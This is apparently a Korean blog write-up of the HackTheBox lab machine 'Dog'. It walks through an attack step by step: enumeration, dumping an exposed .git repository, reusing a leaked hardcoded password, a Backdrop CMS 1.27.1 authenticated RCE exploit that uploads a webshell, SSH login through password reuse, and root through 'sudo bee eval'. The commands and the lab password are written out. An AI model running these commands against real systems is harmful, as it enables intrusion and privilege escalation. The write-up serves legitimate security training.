정보 수집 (Enumeration)

포트 스캔 결과 22번 SSH(OpenSSH 8.2p1 Ubuntu)와 80번 HTTP(Apache 2.4.41)가 열려 있었다.

nmap의 http-git 스크립트가 이미 .git/ 디렉터리 노출을 탐지했고, http-generator 값으로 대상이 Backdrop CMS임을 확인했다. 마지막 커밋 메시지로 todo: customize url aliases 까지 노출되어 있었다.

rustscan -a 10.129.231.223 -- -sC -sV -oN nmap 

 

 

웹 서비스에 직접 접속해 메인 페이지를 확인했다.

 

 

이어서 gobuster로 디렉터리를 탐색했다.

gobuster dir -u http://10.129.231.223 -w /usr/share/dirb/wordlists/common.txt -t 5 -o gobuster

 

 

 

탐색 결과 .git 경로가 노출되어 있는 것을 확인했다.

 

 

git-dumper를 사용해 노출된 git 저장소의 정보를 추출했다.

git-dumper http://10.129.231.223/.git/ git-dump

 

 

덤프한 소스의 settings.php에서 MySQL 접속 계정 정보를 확인할 수 있었다.

 

 

Backdrop CMS의 로그인 창은 다음과 같다.

 

 

 

ffuf를 사용해 유효한 계정명을 퍼징했다.

ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -u http://10.129.231.223/\?q=accounts/FUZZ -c -v -mc 403

 

 

 

git 덤프의 settings.php에는 DB 접속 정보(비밀번호 BackDropJ2024DS2024)가 하드코딩되어 있었다. 이 비밀번호를 ffuf로 찾은 사용자명 tiffany에 재사용해 로그인을 시도했고, 그대로 성공했다.

tiffany: BackDropJ2024DS2024

 

 

 

초기 침투 (RCE) — Backdrop CMS 1.27.1 인증 후 RCE → www-data

tiffany로 로그인한 뒤 관리자 패널(Appearance)에서 테마 버전이 Basis 1.27.1임을 확인했다.

 

 

/core/profiles/testing/testing.info 파일에서도 동일한 버전을 확인할 수 있었다.

 

 

 

해당 버전에는 인증된 사용자가 악용할 수 있는 RCE 취약점이 존재했다.

익스플로잇 코드를 실행하자 shell.php와 shell.info가 담긴 shell.zip 파일이 생성되었다.

python 52021.py http://dog.htb

 

 

 

그런데 업로드 기능은 .zip을 받지 않고 tar.gz 형식만 지원했다.

 

 

 

따라서 tar.gz로 다시 압축한 뒤 업로드했다.

tar cvzf shell.tar.gz shell

 

업로드하는 화면은 다음과 같다.

 

 

업로드한 웹쉘에 접근해 쉘을 획득했다.

 

 

이후 리버스 쉘로 연결해 안정적으로 접속했다.

 

 

 

수평 이동 (Lateral Movement) — 비밀번호 재사용 → johncusack

/etc/passwd에서 로그인 셸(/bin/bash)을 가진 유저는 jobert와 johncusack이었다.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
...
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
...
...
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
jobert:x:1000:1000:jobert:/home/jobert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
johncusack:x:1001:1001:,,,:/home/johncusack:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false

 

 

 

이 중 johncusack이 앞서 tiffany가 쓰던 것과 동일한 비밀번호로 SSH 접속에 성공했다. 즉 비밀번호가 그대로 재사용되고 있었다.

johncusack: BackDropJ2024DS2024

ssh johncusack@10.129.231.223

 

 

 

권한 상승 (LPE) — sudo bee eval 악용 → root

sudo -l로 확인해 보니 johncusack은 (ALL : ALL) /usr/local/bin/bee를 실행할 수 있었다. NOPASSWD가 아니기 때문에 johncusack의 비밀번호를 입력해야 했고, 앞서 확보한 BackDropJ2024DS2024를 그대로 사용했다.

 

 

bee는 Backdrop CMS의 CLI 관리 도구로, eval 서브커맨드를 통해 임의의 PHP(system())를 실행할 수 있다. 이 점이 root 권한의 sudo와 결합되면서 권한 상승에 악용되었다.

 

 

처음에는 Backdrop 루트 경로를 찾지 못해 부트스트랩에 실패했다.

sudo /usr/local/bin/bee eval 'system("/bin/bash")'

 

 

그래서 --root로 설치 경로(/var/www/html)를 명시해 다시 시도했다.

sudo /usr/local/bin/bee --root="/var/www/html" eval 'system("/bin/bash")'

 

 

그 결과 id 출력이 uid=0(root)로 나오며 root 셸을 획득했다.

 

 

'HTB' 카테고리의 다른 글

HTB - LinkVortex  (0) 2026.09.19
HTB - CozyHosting  (0) 2026.09.06
HTB - Networked  (0) 2026.09.03
HTB - Keeper  (0) 2026.08.17
HTB - Soccer  (0) 2026.08.16

+ Recent posts